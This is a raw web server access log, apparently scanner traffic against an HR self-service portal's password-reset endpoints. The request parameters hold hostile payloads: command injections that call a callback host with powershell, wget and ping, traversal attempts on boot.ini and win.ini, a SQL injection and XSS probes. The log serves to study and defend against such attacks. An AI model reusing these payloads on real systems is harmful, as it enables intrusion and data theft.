/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=AB&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=AB&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D200%23 HTTP/1.1" 200 6766 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:13 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D200%23 HTTP/1.1" 200 6766 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%27+ping+-c+1+v3-ping-201-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com+%23 HTTP/1.1" 200 6757 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%27+ping+-c+1+v3-ping-201-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com+%23 HTTP/1.1" 200 6757 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D202%29 HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D202%29 HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini%00.html HTTP/1.1" 200 6742 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini%00.html HTTP/1.1" 200 6742 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini HTTP/1.1" 200 6739 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../windows/win.ini HTTP/1.1" 200 6739 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:14 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_errorWFXSSProbe&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D203%29 HTTP/1.1" 200 6770 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D203%29 HTTP/1.1" 200 6770 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=AB&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3E%28ping+-c+1+v3-ping-204-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6759 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3E%28ping+-c+1+v3-ping-204-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6759 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini HTTP/1.1" 200 6736 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:15 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\winnt\\\\win.ini HTTP/1.1" 200 6736 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D205%29 HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3C%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D205%29 HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini%00.html HTTP/1.1" 200 6744 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini%00.html HTTP/1.1" 200 6744 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini HTTP/1.1" 200 6744 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../boot.ini HTTP/1.1" 200 6744 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr HTTP/1.1" 301 245 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr HTTP/1.1" 301 245 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ HTTP/1.1" 200 649 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:16 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D206%29 HTTP/1.1" 200 6770 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%3C%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D206%29 HTTP/1.1" 200 6770 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3C%28ping+-c+1+v3-ping-207-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6759 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%3C%28ping+-c+1+v3-ping-207-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6759 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:17 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\windows\\\\win.ini HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D208 HTTP/1.1" 200 6744 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D208 HTTP/1.1" 200 6744 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\winnt\\win.ini%00.html HTTP/1.1" 200 6694 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\winnt\\win.ini%00.html HTTP/1.1" 200 6694 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini HTTP/1.1" 200 6749 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../winnt/win.ini HTTP/1.1" 200 6749 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D209%29 HTTP/1.1" 200 6767 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:18 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%29%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D209%29 HTTP/1.1" 200 6767 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EWFXSSProbe%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%24%28ping+-c+1+v3-ping-210-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6756 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%24%28ping+-c+1+v3-ping-210-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com%29 HTTP/1.1" 200 6756 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:19 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/index.php?-s HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:21 +0800] "GET /ehr/ess/index.php?-s HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253Bwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D211 HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%253Bwget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D211 HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\windows\\win.ini%00.html HTTP/1.1" 200 6696 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\windows\\win.ini%00.html HTTP/1.1" 200 6696 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini HTTP/1.1" 200 6751 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:20 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c../windows/win.ini HTTP/1.1" 200 6751 100.64.0.1 - - [05/Dec/2025:21:52:22 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 